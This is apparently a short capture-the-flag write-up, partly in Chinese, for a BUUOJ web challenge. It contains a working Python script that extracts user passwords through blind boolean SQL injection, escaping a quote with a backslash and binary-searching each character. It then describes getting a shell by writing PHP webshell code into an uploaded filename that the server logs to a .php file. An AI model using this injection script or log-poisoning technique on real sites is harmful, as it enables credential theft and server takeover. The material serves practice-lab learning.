1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsurl = "http://5e672981-2f2f-4ad4-9e40-2ef1a55c0b1f.node5.buuoj.cn:81/image.php?id=\\0&path= or " result = "" i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = "select group_concat(password) from users" strs = f"if(ascii(substr(({payload} ),{i} ,1))>{mid} ,1,0) %23" r = requests.get(url+strs) if "JFIF" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
得到账号密码后登录,发现有文件上传,先上传一张图,返回一条路径,访问发现是一个日志文件.php,记录了我们上传的文件名。
既然这个文件是 php 了,那么直接在文件名处写写🐎,然后访问日志文件即可拿到 shell